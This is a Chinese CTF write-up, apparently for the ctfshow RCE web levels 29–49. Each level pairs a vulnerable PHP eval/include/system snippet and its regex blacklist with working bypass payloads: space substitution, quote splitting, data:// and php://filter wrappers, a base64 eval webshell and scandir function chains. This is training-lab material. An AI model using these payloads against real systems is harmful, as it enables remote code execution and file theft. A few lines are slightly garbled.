目录
什么是RCE?
漏洞介绍
- RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
- RCE主要指远程代码执行和远程命令执行,CTFHub中将文件包含漏洞也看作RCE漏洞。
漏洞分类
- 远程命令执行
- 远程代码执行
- 文件包含漏洞
实际上,RCE主要是remote code execute(远程代码执行)和remote command execute(远程命令执行)的缩写,但有时把文件包含漏洞也归为其中。
命令执行和代码执行的联系及区别
这两者的区别主要在于命令执行是调用操作系统命令进行执行,而代码执行是调用服务器网站的代码进行执行。
但代码执行在利用过程中往往会通过调用网站代码去执行系统命令,两者是相互联系的,故统一归类于RCE。
远程命令执行
介绍
一、定义及原理
远程命令执行,顾名思义就是可以远程执行系统命令。
该漏洞的出现是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口,例如在防火墙的WEB界面中会存在一个故障排除功能,里面就会存在类似Ping操作的界面,若设计者未针对这类功能进行严格的控制检测,则可能导致攻击者提交恶意命令,从而控制后台,控制服务器。
简单来说,根据设计需求,有时会允许用户执行系统命令,要是不对用户的行为进行限制,用户就可以随意执行系统命令,造成危害,这就是远程命令执行。
二、成因
代码层过滤不严
系统的漏洞造成命令注入
调用的第三方组件存在代码执行漏洞常见的命令执行函数
PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
三、漏洞检测
漏洞常常出现在网络设备、安全设备、自动化运维平台上面。往往在有需求的地方,出现RCE的概率较大,这里的有需求指的是有用户执行系统命令的需求。
白盒:可以对代码进行审计。
黑盒:可以使用一些漏扫工具、公开的漏洞、手工看功能点及参数值,其中参数值主要需要看是否和相关的漏洞函数有关,若有就可以进行测试,但是可能存在加密的情况,那么还需要进行解密。
29关
代码核心:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:
- eval执行: 当GET参数
c
存在时,程序会直接用eval($c)
执行传入的PHP代码。 - 过滤规则: 正则
/flag/i
会对传入字符串进行匹配,凡是包含 “flag” 字符串(不区分大小写)的,都不允许执行。 - 漏洞利用思路:
- 攻击者可以提交不包含 “flag” 关键字的代码,例如使用
system("ls")
列出目录。 - 因为直接使用
cat fla*
会匹配出 “flag” ,所以给出了变形payload:- 用
?c=system("cp fla?.php 1.txt")
(利用通配符?
替代部分字符) - 或
?c=system("cat *php >> 1.txt")
(利用文件通配符,将所有PHP文件内容输出到1.txt中)。
- 用
- 攻击者可以提交不包含 “flag” 关键字的代码,例如使用
这种绕过方式利用了过滤字符串的不完整匹配,避免直接出现“flag”而达到读取目标文件的目的。
30关
代码核心:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:
- 扩展过滤: 除了 “flag” 之外,还过滤了 “system” 和 “php”。这使得直接调用系统函数(如 system())以及包含 “php” 的字符串都被拦截。
- 攻击示例:
- 直接用
?c=echo
ls可以绕过,但尝试 `?c=echo `cat fl*
就可能因“cat”或“fl*”中的隐含字符被识别而失败。 - 给出的payload:
?c= echo tac fl'ag'.p'hp'
利用单引号将 “flag” 拆分成 “fl” + “ag” ,同时“php”也被分割,从而绕过正则过滤。
- 直接用
绕过思路:
将敏感关键字用引号、拼接或其他字符分割,使得正则表达式无法一次性匹配完整的敏感字符串,从而让恶意代码得以执行。
31关
代码核心:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:
- 更严格的过滤: 此关在前面基础上,额外屏蔽了常用的文件查看和命令执行函数(如 cat、sort、shell)以及一些关键字符:
- 禁止了 “.”(点)、空格(" ")和单引号('),这使得拼接命令或调用函数的操作更加受限。
- 绕过方案:
-
方法一 – 寻找其他命令执行函数:
- 可以尝试用
passthru()
替代 system()。例如:?c=passthru($_GET[a]);&a=cat flag.php
- 利用命令中的空格可以用
%09
(TAB)、${IFS}
、%20
等替代,绕过空格过滤。 - 还可以尝试通过反引号(`)调用 tac、more、less、head、tail 等命令,这些命令在某些场景下与 cat 类似。
- 可以尝试用
-
方法二 – 利用PHP内置函数:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
利用scandir()
列目录、array_reverse()
反转数组,再调用next()
获取最后一个元素,从而间接获取文件内容。
-
总结:
这一关的思路在于面对更多字符的限制,通过替换字符(如空格替代)、使用其他命令以及利用PHP函数链达到绕过过滤,进而执行目标命令。
32~36关
代码核心:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:
- 超严格过滤:
- 除了之前屏蔽的敏感词外,此处还额外过滤了:
- 反引号(`)
- echo、分号(;)、左括号(()、冒号(:)、双引号(")、小于号(<)、等号(=)、斜杠(/)
- 同时还禁止所有数字([0-9])。
- 除了之前屏蔽的敏感词外,此处还额外过滤了:
- 主要难点:
- 常用命令执行函数、文件包含操作以及字符串拼接等操作几乎都被禁止,给攻击者构造有效payload带来了极大挑战。
- 绕过思路:
- 替代空格: 即使空格被过滤,也可以用
${IFS}
或 URL编码%0a
(换行符也能起到分隔作用)来替代空格。 - 替代分号: 分号(用于结束语句)可以用
?>
来退出 PHP 模式,从而达到分隔代码的目的。 - 函数调用方式: 因为括号被禁止,但在PHP中某些函数调用可以省略括号,比如
include
可以写成include $_GET[a]
而不使用括号。 - 注意事项:
- 在使用反引号或者 system、echo 等命令时,涉及到变量替换(如
$
)时需要小心转义。 - 传入的代码必须是有效的PHP代码,且不能包含 PHP 开始/结束标签(除非使用跳出 PHP 模式的技巧)。
- eval 执行的代码与当前作用域共享,任何变量的定义或修改会影响后续代码执行。
- 在使用反引号或者 system、echo 等命令时,涉及到变量替换(如
- 替代空格: 即使空格被过滤,也可以用
具体payload示例:
- 如利用 include 进行文件包含:
这里使用?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
%0a
替换空格,并利用 include 的无括号写法绕过了括号的限制,同时用 php://filter 进行 base64 编码读取 flag 文件内容。
37关
代码解析:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
-
主要功能:
程序检查是否传入了 GET 参数c
,若存在,则使用include($c)
将指定文件包含进来,并接着输出变量$flag
(通常在flag.php
中定义)。 -
过滤策略:
正则/flag/i
禁止传入参数中含有 “flag” 字符串。也就是说,直接在参数中出现 “flag” 会被拦截。 -
利用思路:
- 绕过过滤: 利用 PHP 的
data://
流包装器,可以构造一个伪造的文件路径,直接将包含恶意 PHP 代码的字符串“当作文件”进行包含。 - payload:
- 直接以
data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
形式传入,其中内容是 base64 编码的 PHP 代码; - 或者以短标签形式
?c=data://text/plain,<?=system("tac f*");?>
,利用tac
命令逆序查看文件内容。
- 直接以
- 绕过过滤: 利用 PHP 的
这种方式允许攻击者绕过对 “flag” 关键词的简单过滤,从而包含并执行任意 PHP 代码。
38关
代码解析:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
-
新增过滤:
除了 “flag” 外,还同时过滤了 “php” 和 “file” 三个关键字。这使得直接利用包含php://
或带有 “file” 的路径(如file://
)的方法变得不可行。 -
利用思路:
- 攻击者可以依然采用
data://
流,但需要注意不能包含被过滤的字符串。 - 另一种可能是利用服务器日志(如果日志中有可控内容)来包含文件。
- 攻击者可以依然采用
总体来说,这一关相比37关进一步收紧了对常用协议或标识符的限制,要求payload构造时需要避开更多关键词。
?c=data://text/plain,<?=system("tac f*");?>或者日志包含
39关
代码解析:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
-
变化说明:
与37关类似,但在包含时自动在传入参数后拼接了 “.php”。这意味着攻击者传入的参数会被当作文件名的前缀。 -
利用思路:
- 如果攻击者希望包含一个数据流构造的文件,则需要注意最后会自动加上 “.php”。
- 可以利用
data://
流包装器来构造一个合法的文件内容,同时利用某种技巧使得最终文件内容能被正确解析(例如利用注释或特定的编码手法)。
此关主要的防护点仍在于过滤 “flag”,但自动拼接扩展名给利用者带来额外限制,需要针对性地构造payload。
?c=data://text/plain,<?=system("tac *");?>
40关
代码解析:
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 过滤策略:
此处正则对传入的字符串进行极其严格的过滤:- 禁止数字、特殊符号(如 ~, `, @, #, $, %, ^, & 等)、括号、各种运算符及标点。
- 过滤范围几乎涵盖了大部分常见字符,目的在于阻止利用常见的命令执行函数以及字符串拼接。
?c=print_r(get_defined_vars());
#打印当前定义的变量
#POST一个键值对再打印
?c=print_r(get_defined_vars());
post:1=system("ls");
#获得了传入的值
?c=print_r(array_pop(next(get_defined_vars())));
post:1=system("ls");
#执行值
?c=eval(array_pop(next(get_defined_vars())));
post:1=system("ls");
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() :返回数组中的当前元素的值;默认取第一个值
pos():current() 的别名
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
array_reverse():数组逆序
(如果不是数组的最后一个或者倒数第二个呢?我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组)
scandir():列出指定路径中的文件和目录
next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。
查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
- 利用思路:
- 攻击者不得不借助 PHP 内置的数组和目录操作函数链来实现目标。
- payload中提到了利用函数链获取目录列表:
- 例如使用
scandir(dirname(__FILE__))
列出当前目录文件,再通过array_reverse
和next
函数操作获取目标文件(如flag.php
)。 - 还可以先打印所有定义的变量(
get_defined_vars()
),然后从中提取并执行传入的值,实现间接代码执行。
- 例如使用
- 这种方式利用了 PHP 内部函数及数组指针操作来避开严格的字符限制,属于“链式调用”技巧。
通过这种思路,攻击者可以在不直接使用敏感字符的前提下,构造出能够间接读取或显示文件内容的代码。
41关
代码解析:
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
-
执行逻辑:
- 这里采用了 POST 参数
c
,并用eval("echo($c);");
来执行传入的表达式。 - 执行时,会先用 echo 将表达式输出,再由 eval 执行,输出结果返回。
- 这里采用了 POST 参数
-
过滤策略:
正则过滤掉了所有的数字(0-9)、小写字母(a-z)以及一些特殊字符(如 ^、+、~、$、[、]、{、}、&、-)。- 这意味着攻击者不能直接使用常见的函数名(通常为小写字母)或数字来构造payload。
-
利用思路:
- 攻击者必须构造一个仅包含允许字符(比如大写字母和部分符号)的 payload。
- 常用方法包括利用字符拼接、ASCII码转换、或查找替代方案来构造敏感函数的名称。
- 例如,可以利用 PHP 中一些不受过滤的函数或常量名称,或者将字符串拆分后再拼接(如果允许的话)。
42关
代码核心:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
分析:
- 功能: 使用
system()
执行 GET 参数c
中传入的命令,并将标准输出和错误输出重定向到/dev/null
(不显示)。 - 过滤情况: 本关没有对传入命令做过滤,因此攻击者可以直接传入任何合法命令。
- 绕过思路:
- 直接传入诸如
tac *
之类的命令即可。例如:?c=tac *%0a
或?c=tac *;
- 另外还可以使用
tac f*
的变种(有时会结合其他逻辑符,如 他才tac %26
或tac ||
)。
- 直接传入诸如
43关
代码核心:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:
- 新增过滤:
- 正则表达式过滤了分号(
;
)和关键字cat
(不区分大小写)。 - 这意味着攻击者不能直接使用分号来拼接多个命令,也不能直接调用
cat
查看文件内容。
- 正则表达式过滤了分号(
- 利用思路:
- 依然可以使用
tac
来逆序查看文件,或者使用其他系统命令。 - 由于系统命令执行不受其他限制,所以可以尝试通过 URL 编码、逻辑运算符(如
||
)等手段拼凑出有效payload。
- 依然可以使用
44关
代码核心:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:
- 新增过滤:
- 除了分号和
cat
外,额外过滤了flag
关键字。 - 这使得直接尝试读取 flag 文件(通常文件名中带 flag)时会被阻断。
- 除了分号和
- 利用思路:
- 可以通过拆分或变形文件名来绕过过滤,例如利用引号拆分(payload :
tac f''l""ag.php
),让正则无法匹配完整的 “flag” 字符串。
- 可以通过拆分或变形文件名来绕过过滤,例如利用引号拆分(payload :
45关
代码核心:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:
- 新增过滤:
- 在原有基础上进一步增加了空格字符(" ")的过滤。
- 空格通常在命令中起到分隔参数的作用,禁止后使得构造合法命令更加困难。
- 绕过思路:
- 利用常见的空格替代方式,如
%09
(TAB)、${IFS}
、%20
(URL编码空格)等都可以替代空格,从而达到拼接命令的目的。 - payload 就利用了这种思路,如:
?c=tac%09f*||
或?c=tac${IFS}f*||
- 这些技巧可以绕过对空格的直接过滤。
- 利用常见的空格替代方式,如
46~49关
代码核心:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:
- 更严格的过滤:
- 除了前面的敏感字符外,还额外过滤了:
- 数字
[0-9]
、美元符号$
、星号*
- 常用的文件操作或内容查看命令,如
more
、less
、head
、sort
、tail
、sed
、cut
、awk
、strings
、od
、curl
- 反引号(`)和百分号(%)也被禁止
- 数字
- 这些限制极大地限制了命令中常用的字符和关键词,令常规构造 payload 的方法都无法直接使用。
- 除了前面的敏感字符外,还额外过滤了:
- 利用思路:
- 字符替换:
- 由于数字和部分符号被禁用,可通过 URL 编码、使用空格替代符(如
${IFS}
或%09
)等手段来构造出可执行的命令。 - payload:
?c=tac%09fla%3f.php%0a
,其中%09
用来替代空格,%3f
(问号)用来拆分文件名,使得正则无法匹配完整的 “flag” 字符串。
- 由于数字和部分符号被禁用,可通过 URL 编码、使用空格替代符(如
- 字符拼接与转义:
- 利用引号、转义字符或断裂的字符串拼接方法,重新构造出被禁用的关键字(例如用
fl''ag.php
、fl\ag.php
或用反引号替换组合等)。 - 另外还可能利用通配符“?”在文件名中替代被过滤的部分字符,从而间接达到调用目标文件(如 flag 文件)的目的。
- 利用引号、转义字符或断裂的字符串拼接方法,重新构造出被禁用的关键字(例如用
- 字符替换:
总结
-
29关 提供了最基础的 eval 执行环境,仅过滤“flag”,可以通过拼凑命令实现文件操作。
-
30关 在此基础上额外屏蔽了 system 和 php,迫使利用者将敏感字符串分割成无害片段(如使用单引号拆分)。
-
31关 进一步禁用了更多常用命令和字符,要求攻击者寻找其他命令执行函数或利用PHP函数链进行间接调用。
-
32~36关 则构成了一个高度受限的执行环境,屏蔽了几乎所有常见的字符和命令调用手段,此时只能借助替代空格、替换分号以及无括号调用等技巧来绕过过滤。
-
37关: 通过
include
文件实现代码执行,利用data://
流包装器来绕过 “flag” 关键词的简单过滤,从而包含恶意代码。 -
38关: 在37关的基础上进一步限制了关键词,要求payload在构造时避开 “php” 和 “file” 等标识符,利用方式类似但更为细致。
-
39关: 自动在传入参数后追加“.php”,需要攻击者在payload构造时考虑扩展名拼接的影响,同样可以利用数据流包装器来构造有效payload。
-
40关: 对传入的字符串进行了极为严格的字符过滤,使得常见的命令和函数调用都被屏蔽。攻击者需要利用 PHP 内置的目录扫描和数组操作函数链来间接获取文件内容或执行命令。
-
41关: 通过 POST 方式传入参数,并利用
eval("echo($c);")
执行。由于过滤掉了所有数字和小写字母,攻击者需要利用“字符拼接”或其他技术构造出所需的代码字符串,达到绕过过滤并执行任意代码的目的。 -
42关 允许直接使用
system()
执行传入命令,攻击者可以直接利用未受限制的命令调用。 -
43关 开始对命令中的分号和
cat
关键词做过滤,迫使攻击者利用其他命令(如tac
)或编码手段绕过限制。 -
44关 在原有基础上进一步限制包含
flag
关键字,利用者需要通过分割或混淆文件名来绕过正则检测。 -
45关 除了前面的敏感字符外,还过滤了空格,必须使用空格替代字符如
%09
或${IFS}
等技巧来重构合法命令。 -
46~49关 则构造了极其严格的命令过滤环境,不仅禁用了常见的敏感字符和关键词,还限制了数字、美元符号、常用文件操作命令等,迫使攻击者只能通过细致的字符拼接、URL编码和利用替代符号来绕过过滤,从而达到执行命令的目的。